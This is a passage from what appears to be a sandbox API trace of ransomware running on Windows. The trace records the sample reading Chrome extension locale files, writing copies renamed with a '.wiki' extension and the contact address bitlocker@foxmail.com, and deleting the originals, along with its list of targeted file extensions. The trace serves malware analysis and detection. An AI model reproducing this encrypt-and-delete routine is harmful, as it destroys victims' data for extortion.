HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.678] lstrlenW (lpString=".1cd") returned 4 [0172.678] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 139 [0172.678] lstrlenW (lpString=".jpg") returned 4 [0172.678] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.678] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.678] lstrlenW (lpString="messages.json") returned 13 [0172.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.679] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=246) returned 1 [0172.679] CloseHandle (hObject=0x1a0) returned 1 [0172.679] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json")) returned 0x2020 [0172.679] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.679] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.680] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.680] GetLastError () returned 0x0 [0172.680] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xf6, lpOverlapped=0x0) returned 1 [0172.681] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x100, lpOverlapped=0x0) returned 1 [0172.682] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.682] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.682] SetEndOfFile (hFile=0x19c) returned 1 [0172.682] CloseHandle (hObject=0x19c) returned 1 [0172.682] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.682] SetEndOfFile (hFile=0x1a0) returned 1 [0172.683] CloseHandle (hObject=0x1a0) returned 1 [0172.683] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.683] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json")) returned 1 [0172.683] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.683] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.683] lstrlenW (lpString=".doc") returned 4 [0172.683] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.683] lstrlenW (lpString=".docx") returned 5 [0172.683] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.684] lstrlenW (lpString=".pdf") returned 4 [0172.684] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.684] lstrlenW (lpString=".xls") returned 4 [0172.684] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.684] lstrlenW (lpString=".xlsx") returned 5 [0172.684] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.684] lstrlenW (lpString=".ppt") returned 4 [0172.684] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.684] lstrlenW (lpString=".zip") returned 4 [0172.684] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.684] lstrlenW (lpString=".rar") returned 4 [0172.684] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.684] lstrlenW (lpString=".bz2") returned 4 [0172.684] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.684] lstrlenW (lpString=".7z") returned 3 [0172.684] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.684] lstrlenW (lpString=".dbf") returned 4 [0172.684] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.684] lstrlenW (lpString=".1cd") returned 4 [0172.684] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.684] lstrlenW (lpString=".jpg") returned 4 [0172.684] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.684] lstrlenW (lpString=".doc") returned 4 [0172.684] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.685] lstrlenW (lpString=".docx") returned 5 [0172.685] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.685] lstrlenW (lpString=".pdf") returned 4 [0172.685] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.685] lstrlenW (lpString=".xls") returned 4 [0172.685] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.685] lstrlenW (lpString=".xlsx") returned 5 [0172.685] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.685] lstrlenW (lpString=".ppt") returned 4 [0172.685] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.685] lstrlenW (lpString=".zip") returned 4 [0172.685] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.685] lstrlenW (lpString=".rar") returned 4 [0172.685] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.685] lstrlenW (lpString=".bz2") returned 4 [0172.685] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.685] lstrlenW (lpString=".7z") returned 3 [0172.685] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.685] lstrlenW (lpString=".dbf") returned 4 [0172.685] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.685] lstrlenW (lpString=".1cd") returned 4 [0172.685] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0172.685] lstrlenW (lpString=".jpg") returned 4 [0172.685] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.686] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.686] lstrlenW (lpString="messages.json") returned 13 [0172.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.686] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=264) returned 1 [0172.686] CloseHandle (hObject=0x1a0) returned 1 [0172.686] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json")) returned 0x2020 [0172.686] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.686] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.686] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.687] GetLastError () returned 0x0 [0172.687] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x108, lpOverlapped=0x0) returned 1 [0172.688] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0172.689] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.689] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.689] SetEndOfFile (hFile=0x19c) returned 1 [0172.689] CloseHandle (hObject=0x19c) returned 1 [0172.689] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.689] SetEndOfFile (hFile=0x1a0) returned 1 [0172.690] CloseHandle (hObject=0x1a0) returned 1 [0172.690] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.690] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json")) returned 1 [0172.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.690] lstrlenW (lpString=".doc") returned 4 [0172.690] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.690] lstrlenW (lpString=".docx") returned 5 [0172.690] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.690] lstrlenW (lpString=".pdf") returned 4 [0172.690] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.690] lstrlenW (lpString=".xls") returned 4 [0172.691] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.691] lstrlenW (lpString=".xlsx") returned 5 [0172.691] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.691] lstrlenW (lpString=".ppt") returned 4 [0172.691] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.691] lstrlenW (lpString=".zip") returned 4 [0172.691] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.691] lstrlenW (lpString=".rar") returned 4 [0172.691] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.691] lstrlenW (lpString=".bz2") returned 4 [0172.691] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.691] lstrlenW (lpString=".7z") returned 3 [0172.691] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.691] lstrlenW (lpString=".dbf") returned 4 [0172.691] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.691] lstrlenW (lpString=".1cd") returned 4 [0172.691] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.691] lstrlenW (lpString=".jpg") returned 4 [0172.691] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.691] lstrlenW (lpString=".doc") returned 4 [0172.691] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.691] lstrlenW (lpString=".docx") returned 5 [0172.691] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.692] lstrlenW (lpString=".pdf") returned 4 [0172.692] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.692] lstrlenW (lpString=".xls") returned 4 [0172.692] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.692] lstrlenW (lpString=".xlsx") returned 5 [0172.692] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.692] lstrlenW (lpString=".ppt") returned 4 [0172.692] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.692] lstrlenW (lpString=".zip") returned 4 [0172.692] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.692] lstrlenW (lpString=".rar") returned 4 [0172.692] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.692] lstrlenW (lpString=".bz2") returned 4 [0172.692] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.692] lstrlenW (lpString=".7z") returned 3 [0172.692] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.692] lstrlenW (lpString=".dbf") returned 4 [0172.692] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.692] lstrlenW (lpString=".1cd") returned 4 [0172.692] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0172.692] lstrlenW (lpString=".jpg") returned 4 [0172.692] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.692] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.693] lstrlenW (lpString="messages.json") returned 13 [0172.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.695] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=207) returned 1 [0172.695] CloseHandle (hObject=0x1a0) returned 1 [0172.695] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json")) returned 0x2020 [0172.695] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.695] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.695] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.696] GetLastError () returned 0x0 [0172.696] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xcf, lpOverlapped=0x0) returned 1 